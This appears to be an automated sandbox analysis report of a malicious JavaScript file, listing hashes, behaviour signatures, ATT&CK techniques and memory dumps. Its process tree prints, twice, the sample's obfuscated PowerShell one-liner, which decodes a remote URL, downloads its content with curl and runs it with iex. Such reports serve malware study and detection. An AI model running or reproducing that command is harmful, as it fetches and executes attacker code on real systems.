31737016ed2c3a81bab37e3543a6cdaa911ed16249b2fe8309d9c14ad2367abd

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:19

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General

Target

951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29.js
Size

160KB
MD5

e8b7eb90845f2e4667edad25ecfa7488
SHA1

fded98e96a81430d7ee9bf152265686dc41664b7
SHA256

951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29
SHA512

6d024f5530b8d0049808994dfcbc8de70926f3c18a73dcaf1590b51b721b50db0385cde64c891fb7770c064d8c18577faa810a3738d74e7e9ad4befc922bf32b
SSDEEP

1536:nwXiZJUXWrCcPefYKs6sJUXWrCMPefYKs6ePefYKs66JUXWrCHJUXWrC8:ntIQKs6vQKs6vQKs6h

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	4352	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4804	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4804	powershell.exe
4804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4804	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 4804	1988	conhost.exe	84
PID 1988 wrote to memory of 4804	1988	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\951ea46c0075499ef18d4b51d67c7bcc4cb6cefae82db68b29d0625d325d0d29.js
1⤵
PID:4624

C:\Windows\system32\conhost.exe
conhost --headless powershell $qyimduzfxvo='ur' ;new-alias printout c$($qyimduzfxvo)l;$goepvu=(3402,3413,3421,3405,3407,3402,3422,3421,3426,3359,3421,3355,3402,3350,3420,3415,3416,3351,3353,3350,3416,3408,3416,3367,3419,3365,3413,3409,3414,3420,3419,3354,3353);$ifuexoytbd=('bronx','get-cmdlet');$rnhjouzwyidkex=$goepvu;foreach($yartfmwiov in $rnhjouzwyidkex){$jbaykowprlmc=$yartfmwiov;$iwmpkfescbo=$iwmpkfescbo+[char]($jbaykowprlmc-3304);$cvloefwshr=$iwmpkfescbo; $zxpeyutksi=$cvloefwshr};$sbauhwnflx[2]=$zxpeyutksi;$eynwvzaft='rl';$daqlbsxuzwf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zxpeyutksi)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $qyimduzfxvo='ur' ;new-alias printout c$($qyimduzfxvo)l;$goepvu=(3402,3413,3421,3405,3407,3402,3422,3421,3426,3359,3421,3355,3402,3350,3420,3415,3416,3351,3353,3350,3416,3408,3416,3367,3419,3365,3413,3409,3414,3420,3419,3354,3353);$ifuexoytbd=('bronx','get-cmdlet');$rnhjouzwyidkex=$goepvu;foreach($yartfmwiov in $rnhjouzwyidkex){$jbaykowprlmc=$yartfmwiov;$iwmpkfescbo=$iwmpkfescbo+[char]($jbaykowprlmc-3304);$cvloefwshr=$iwmpkfescbo; $zxpeyutksi=$cvloefwshr};$sbauhwnflx[2]=$zxpeyutksi;$eynwvzaft='rl';$daqlbsxuzwf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zxpeyutksi)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2kyf3hy.pz4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4804-0-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

Filesize
8KB

Download
memory/4804-1-0x0000020ECD2C0000-0x0000020ECD2E2000-memory.dmp

Filesize
136KB

Download
memory/4804-11-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4804-12-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4804-13-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4804-14-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4804-15-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

Filesize
8KB

Download
memory/4804-16-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download
memory/4804-19-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

Filesize
10.8MB

Download